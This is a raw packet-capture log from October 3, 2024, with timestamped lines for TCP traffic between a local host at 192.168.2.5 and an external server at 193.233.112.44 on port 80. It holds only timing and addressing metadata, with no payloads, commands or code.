Oct 3, 2024 23:17:07.183605909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183621883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183640957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183661938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183676004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183680058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183711052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183727980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183746099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183748960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183779955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183792114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183815002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.183829069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.183865070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184322119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184359074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184391022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184397936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184397936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184427023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184437990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184462070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184478998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184497118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184513092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184531927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184542894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184566975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184582949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184602022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184608936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184636116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184647083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184669971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184681892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184706926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184720993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184741020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184753895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184776068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184789896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184812069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.184825897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.184856892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185347080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185365915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185380936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185395956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185408115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185410976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185429096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185429096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185444117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185450077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185461044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185472012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185480118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185494900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185497999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185516119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185520887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185520887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185532093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185540915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185549021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185565948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185570002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185570002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185581923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.185589075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185609102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.185642958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186016083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186033010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186048985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186064005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186075926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186117887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186117887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186148882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186165094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186180115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186193943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186197042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186213017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186220884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186220884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186229944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186245918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186247110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186248064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186263084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186268091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186280012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186289072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186296940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.186316013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186316013 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.186335087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187035084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187052011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187081099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187089920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187097073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187114954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187119007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187119007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187130928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187140942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187149048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187164068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187167883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187167883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187180042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187186956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187196970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187213898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187215090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187215090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187231064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187233925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187248945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187252045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187267065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187282085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187283039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187283039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187304974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187320948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187930107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187946081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187963009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187978029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187993050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.187997103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.187997103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.188009977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.188025951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.188025951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.188060045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.188060045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.271914005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.271975040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272025108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272052050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272058964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272094011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272120953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272180080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272213936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272226095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272289991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272372007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272404909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272425890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272439003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272468090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272474051 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272490025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272509098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272521973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272558928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272660971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272692919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272721052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272727966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272749901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272758007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272775888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272808075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.272943974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.272984028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273000002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273016930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273025990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273051977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273063898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273085117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273102999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273121119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273139954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273160934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273173094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273194075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273210049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273231030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273246050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273286104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273605108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273638964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273664951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273670912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273688078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273705959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273720980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273740053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273756981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273775101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273794889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273808956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273824930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273842096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273869991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273876905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273895979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273912907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.273919106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.273964882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274336100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274369001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274396896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274403095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274421930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274436951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274460077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274471045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274481058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274504900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274523973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274538994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274560928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274573088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274585009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274607897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274626970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274640083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274657965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274674892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274688005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274708986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274729967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274743080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.274749994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.274791002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275242090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275274992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275304079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275306940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275326014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275341988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275346041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275374889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275427103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275461912 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275495052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275528908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275562048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275568962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275568962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275568962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275568962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275569916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275569916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275600910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275616884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275635958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275659084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275660992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275676012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275681019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275688887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275700092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275737047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275738001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.275942087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.275990009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276037931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276053905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276068926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276084900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276086092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276106119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276109934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276109934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276129961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276140928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276146889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276163101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276163101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276180029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276191950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276191950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276196003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.276217937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276217937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.276238918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.298564911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298588037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298604012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298619032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298634052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298649073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298666000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298666954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.298712969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.298732996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.298908949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298964024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.298968077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299001932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299020052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299036026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299057961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299071074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299082994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299108982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299124956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299144983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299160004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299180984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299201965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299216986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299237967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299249887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299262047 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299285889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299304008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299324989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299341917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299365997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299622059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299657106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299680948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299690962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299705982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299726009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299743891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299762011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299781084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299798012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.299818039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299834013 CEST	80	49710	193.233.112.44	192.168.2.5
